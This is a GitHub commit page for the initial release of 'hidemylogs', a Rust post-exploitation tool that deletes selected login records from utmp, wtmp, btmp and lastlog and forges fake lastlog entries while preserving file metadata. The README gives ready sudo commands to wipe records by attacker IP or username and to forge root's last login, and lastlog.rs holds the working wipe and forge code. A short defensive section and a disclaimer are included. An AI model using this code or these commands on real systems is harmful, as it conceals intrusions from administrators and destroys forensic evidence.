Skip to content

Commit e68963e

Browse files
committed
Initial commit
0 parents  commit e68963e

9 files changed

Lines changed: 1624 additions & 0 deletions

File tree

.github/workflows/ci.yml

Lines changed: 54 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
name: CI
2+
3+
on:
4+
push:
5+
branches: [main]
6+
pull_request:
7+
branches: [main]
8+
9+
jobs:
10+
build:
11+
name: Build & Test
12+
runs-on: ubuntu-latest
13+
steps:
14+
- uses: actions/checkout@v4
15+
- uses: dtolnay/rust-toolchain@stable
16+
- run: cargo build --release
17+
- run: cargo test
18+
- name: Verify binary
19+
run: ./target/release/hidemylogs --version
20+
21+
release:
22+
name: Release binaries
23+
runs-on: ubuntu-latest
24+
needs: build
25+
if: github.ref == 'refs/heads/main' && github.event_name == 'push'
26+
strategy:
27+
matrix:
28+
include:
29+
- target: x86_64-unknown-linux-gnu
30+
name: hidemylogs-linux-x86_64
31+
- target: x86_64-unknown-linux-musl
32+
name: hidemylogs-linux-x86_64-musl
33+
- target: aarch64-unknown-linux-gnu
34+
name: hidemylogs-linux-aarch64
35+
steps:
36+
- uses: actions/checkout@v4
37+
- uses: dtolnay/rust-toolchain@stable
38+
with:
39+
targets: ${{ matrix.target }}
40+
- name: Install cross-compilation tools
41+
if: matrix.target == 'aarch64-unknown-linux-gnu'
42+
run: sudo apt-get update && sudo apt-get install -y gcc-aarch64-linux-gnu
43+
- name: Install musl tools
44+
if: matrix.target == 'x86_64-unknown-linux-musl'
45+
run: sudo apt-get update && sudo apt-get install -y musl-tools
46+
- name: Build
47+
run: cargo build --release --target ${{ matrix.target }}
48+
env:
49+
CARGO_TARGET_AARCH64_UNKNOWN_LINUX_GNU_LINKER: aarch64-linux-gnu-gcc
50+
- name: Upload artifact
51+
uses: actions/upload-artifact@v4
52+
with:
53+
name: ${{ matrix.name }}
54+
path: target/${{ matrix.target }}/release/hidemylogs

.gitignore

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
/target
2+
Cargo.lock
3+
*.swp
4+
*~
5+
.DS_Store
6+
Thumbs.db
7+
.vscode/
8+
.idea/

Cargo.toml

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
[package]
2+
name = "hidemylogs"
3+
version = "1.0.0"
4+
edition = "2021"
5+
authors = ["Franck FERMAN <franckferman@users.noreply.github.com>"]
6+
description = "Surgical *nix log cleaner - selectively erase access records from lastlog, wtmp, btmp, and utmp while preserving file metadata"
7+
license = "AGPL-3.0"
8+
repository = "https://github.com/franckferman/hidemylogs"
9+
keywords = ["security", "forensics", "red-team", "post-exploitation", "logs"]
10+
categories = ["command-line-utilities"]
11+
12+
[dependencies]
13+
clap = { version = "4", features = ["derive"] }
14+
chrono = "0.4"
15+
colored = "2"
16+
filetime = "0.2"
17+
18+
[profile.release]
19+
opt-level = "z"
20+
lto = true
21+
strip = true
22+
panic = "abort"

LICENSE

Lines changed: 661 additions & 0 deletions
Large diffs are not rendered by default.

README.md

Lines changed: 122 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,122 @@
1+
<div align="center">
2+
3+
# hidemylogs
4+
5+
**Surgical \*nix log cleaner** - selectively erase access records from lastlog, wtmp, btmp, and utmp while preserving file metadata.
6+
7+
![](https://img.shields.io/badge/Language-Rust-CE422B?style=flat-square&logo=rust&logoColor=white)
8+
![](https://img.shields.io/badge/Dependencies-3-green?style=flat-square)
9+
![](https://img.shields.io/badge/Binary-602_KB-blue?style=flat-square)
10+
![](https://img.shields.io/badge/License-AGPL--3.0-blue?style=flat-square)
11+
12+
</div>
13+
14+
---
15+
16+
## Overview
17+
18+
hidemylogs is a modern Rust rewrite of [hidemyass](https://github.com/evilpan/hidemyass) (2016). It removes individual log records from Linux authentication databases without deleting the entire file, preserving file permissions, ownership, and timestamps.
19+
20+
Three subcommands:
21+
- **`print`** - Read and display records from utmp, wtmp, btmp, and lastlog
22+
- **`wipe`** - Remove records matching a username or IP filter
23+
- **`forge`** - Overwrite a lastlog record with a fake timestamp, terminal, and host
24+
25+
All operations support `--dry-run` to preview changes without modifying files.
26+
27+
---
28+
29+
## Build
30+
31+
```bash
32+
git clone https://github.com/franckferman/hidemylogs.git
33+
cd hidemylogs
34+
cargo build --release
35+
```
36+
37+
Binary: `target/release/hidemylogs` (~600 KB, statically optimized).
38+
39+
---
40+
41+
## Usage
42+
43+
### Print all records
44+
45+
```bash
46+
# All sources (utmp + wtmp + btmp + lastlog)
47+
sudo ./hidemylogs print
48+
49+
# Only wtmp and lastlog
50+
sudo ./hidemylogs print -s wl
51+
52+
# Custom paths
53+
./hidemylogs print -w /path/to/wtmp -l /path/to/lastlog -s wl
54+
```
55+
56+
### Wipe by IP
57+
58+
```bash
59+
# Dry run first
60+
sudo ./hidemylogs wipe -a 185.220.101.34 --dry-run
61+
62+
# Execute
63+
sudo ./hidemylogs wipe -a 185.220.101.34
64+
65+
# Wipe only from wtmp and btmp
66+
sudo ./hidemylogs wipe -a 185.220.101.34 -s wb
67+
```
68+
69+
### Wipe by username
70+
71+
```bash
72+
sudo ./hidemylogs wipe -n root --dry-run
73+
sudo ./hidemylogs wipe -n root
74+
```
75+
76+
### Forge a lastlog entry
77+
78+
```bash
79+
# Fake root's last login
80+
sudo ./hidemylogs forge --uid 0 -t "2026-03-15 09:30:00" --line pts/0 --host 10.0.1.50
81+
82+
# Dry run
83+
sudo ./hidemylogs forge --uid 0 -t "2026-03-15 09:30:00" --dry-run
84+
```
85+
86+
---
87+
88+
## Comparison with hidemyass
89+
90+
| Feature | hidemyass (2016) | hidemylogs |
91+
|---|---|---|
92+
| Language | C | Rust |
93+
| Memory safety | Manual | Guaranteed |
94+
| Subcommands | Flags only | `print`, `wipe`, `forge` |
95+
| Dry run | No | `--dry-run` on all operations |
96+
| Source selection | `-uwbl` flags | `-s uwbl` combined flag |
97+
| Lastlog forge | Timestamp only | Timestamp + terminal + host |
98+
| File metadata | Preserved | Preserved |
99+
| Binary size | ~20 KB | ~600 KB |
100+
101+
---
102+
103+
## Defensive context
104+
105+
This tool exists to demonstrate what attackers can do post-exploitation. For defenders:
106+
107+
- **Remote log forwarding** (rsyslog, syslog-ng) is the only reliable defense - logs shipped off-box in real time cannot be retroactively deleted
108+
- **File integrity monitoring** (AIDE, Tripwire) detects modifications to log files
109+
- **Cross-source correlation** reveals discrepancies when one source is tampered but not others
110+
- See [LastLog-Audit](https://github.com/franckferman/LastLog-Audit) for the detection side
111+
112+
---
113+
114+
## Legal Disclaimer
115+
116+
This tool is provided for **authorized security assessments, red team engagements, and educational purposes only**. Unauthorized modification of system logs is illegal. You are solely responsible for your use of this tool.
117+
118+
---
119+
120+
## License
121+
122+
AGPL-3.0. See [LICENSE](LICENSE).

src/display.rs

Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
/// Display and formatting utilities.
2+
3+
use colored::Colorize;
4+
use crate::utmp::UtmpRecord;
5+
use crate::lastlog::LastlogRecord;
6+
7+
pub fn print_banner() {
8+
let banner = r#"
9+
_ _ _ _
10+
| |__ (_) __| | ___ _ __ ___ _ _| | ___ __ _ ___
11+
| '_ \| |/ _` |/ _ \ '_ ` _ \| | | | |/ _ \ / _` / __|
12+
| | | | | (_| | __/ | | | | | |_| | | (_) | (_| \__ \
13+
|_| |_|_|\__,_|\___|_| |_| |_|\__, |_|\___/ \__, |___/
14+
|___/ |___/
15+
"#;
16+
println!("{}", banner.red());
17+
}
18+
19+
pub fn print_utmp_records(records: &[UtmpRecord]) {
20+
println!(
21+
"{:<16} {:<14} {:<24} {:<22} {:<8} {}",
22+
"Username".bold(),
23+
"Terminal".bold(),
24+
"From".bold(),
25+
"Timestamp".bold(),
26+
"Type".bold(),
27+
"PID".bold()
28+
);
29+
println!("{}", "-".repeat(96));
30+
31+
for rec in records {
32+
if !rec.is_login() {
33+
continue;
34+
}
35+
36+
let type_colored = match rec.ut_type() {
37+
super::utmp::UT_USER_PROCESS => rec.type_str().green(),
38+
super::utmp::UT_DEAD_PROCESS => rec.type_str().dimmed(),
39+
_ => rec.type_str().normal(),
40+
};
41+
42+
println!(
43+
"{:<16} {:<14} {:<24} {:<22} {:<8} {}",
44+
rec.user(),
45+
rec.line(),
46+
rec.host(),
47+
rec.timestamp(),
48+
type_colored,
49+
rec.pid()
50+
);
51+
}
52+
}
53+
54+
pub fn print_lastlog_records(records: &[LastlogRecord]) {
55+
println!(
56+
"{:<8} {:<14} {:<24} {}",
57+
"UID".bold(),
58+
"Terminal".bold(),
59+
"From".bold(),
60+
"Last Login".bold()
61+
);
62+
println!("{}", "-".repeat(70));
63+
64+
for rec in records {
65+
if rec.is_empty() {
66+
continue;
67+
}
68+
println!(
69+
"{:<8} {:<14} {:<24} {}",
70+
rec.uid,
71+
rec.line(),
72+
rec.host(),
73+
rec.timestamp_str()
74+
);
75+
}
76+
}
77+
78+
pub fn print_wipe_result(count: usize, source: &str) {
79+
if count > 0 {
80+
println!("{} {} record(s) wiped from {}", "[+]".green(), count, source);
81+
} else {
82+
println!("{} No matching records found in {}", "[*]".yellow(), source);
83+
}
84+
}

src/lastlog.rs

Lines changed: 96 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
/// lastlog binary record handling.
2+
///
3+
/// struct lastlog:
4+
/// ll_time: u32 (4 bytes) - timestamp
5+
/// ll_line: [u8; 32] - terminal
6+
/// ll_host: [u8; 256] - hostname/IP
7+
/// Total: 292 bytes
8+
///
9+
/// Indexed by UID: record for UID N starts at offset N * 292.
10+
11+
use std::fs;
12+
use std::io::{self, Write, Seek, SeekFrom};
13+
14+
pub const LASTLOG_RECORD_SIZE: usize = 292;
15+
16+
#[derive(Debug, Clone)]
17+
pub struct LastlogRecord {
18+
pub uid: u32,
19+
pub raw: [u8; LASTLOG_RECORD_SIZE],
20+
}
21+
22+
impl LastlogRecord {
23+
pub fn timestamp(&self) -> u32 {
24+
u32::from_le_bytes([self.raw[0], self.raw[1], self.raw[2], self.raw[3]])
25+
}
26+
27+
pub fn line(&self) -> String {
28+
extract_string(&self.raw[4..36])
29+
}
30+
31+
pub fn host(&self) -> String {
32+
extract_string(&self.raw[36..292])
33+
}
34+
35+
pub fn timestamp_str(&self) -> String {
36+
let ts = self.timestamp() as i64;
37+
if ts == 0 {
38+
return "never".to_string();
39+
}
40+
chrono::DateTime::from_timestamp(ts, 0)
41+
.map(|dt| dt.format("%Y-%m-%d %H:%M:%S").to_string())
42+
.unwrap_or_else(|| format!("{}", ts))
43+
}
44+
45+
pub fn is_empty(&self) -> bool {
46+
self.timestamp() == 0
47+
}
48+
49+
/// Zero the entire record (wipe login evidence for this UID).
50+
pub fn wipe(&mut self) {
51+
for b in &mut self.raw { *b = 0; }
52+
}
53+
54+
/// Overwrite with a fake timestamp, terminal, and host.
55+
pub fn forge(&mut self, timestamp: u32, line: &str, host: &str) {
56+
self.wipe();
57+
let ts_bytes = timestamp.to_le_bytes();
58+
self.raw[0..4].copy_from_slice(&ts_bytes);
59+
60+
let line_bytes = line.as_bytes();
61+
let len = line_bytes.len().min(31);
62+
self.raw[4..4 + len].copy_from_slice(&line_bytes[..len]);
63+
64+
let host_bytes = host.as_bytes();
65+
let len = host_bytes.len().min(255);
66+
self.raw[36..36 + len].copy_from_slice(&host_bytes[..len]);
67+
}
68+
}
69+
70+
fn extract_string(bytes: &[u8]) -> String {
71+
let end = bytes.iter().position(|&b| b == 0).unwrap_or(bytes.len());
72+
String::from_utf8_lossy(&bytes[..end]).to_string()
73+
}
74+
75+
/// Read all non-empty lastlog records.
76+
pub fn read_records(path: &str) -> io::Result<Vec<LastlogRecord>> {
77+
let data = fs::read(path)?;
78+
let mut records = Vec::new();
79+
80+
for (uid, chunk) in data.chunks_exact(LASTLOG_RECORD_SIZE).enumerate() {
81+
let mut raw = [0u8; LASTLOG_RECORD_SIZE];
82+
raw.copy_from_slice(chunk);
83+
records.push(LastlogRecord { uid: uid as u32, raw });
84+
}
85+
86+
Ok(records)
87+
}
88+
89+
/// Write a single record at the correct UID offset.
90+
pub fn write_record_at_uid(path: &str, uid: u32, record: &LastlogRecord) -> io::Result<()> {
91+
let offset = (uid as u64) * (LASTLOG_RECORD_SIZE as u64);
92+
let mut file = fs::OpenOptions::new().write(true).open(path)?;
93+
file.seek(SeekFrom::Start(offset))?;
94+
file.write_all(&record.raw)?;
95+
Ok(())
96+
}

0 commit comments

Comments
 (0)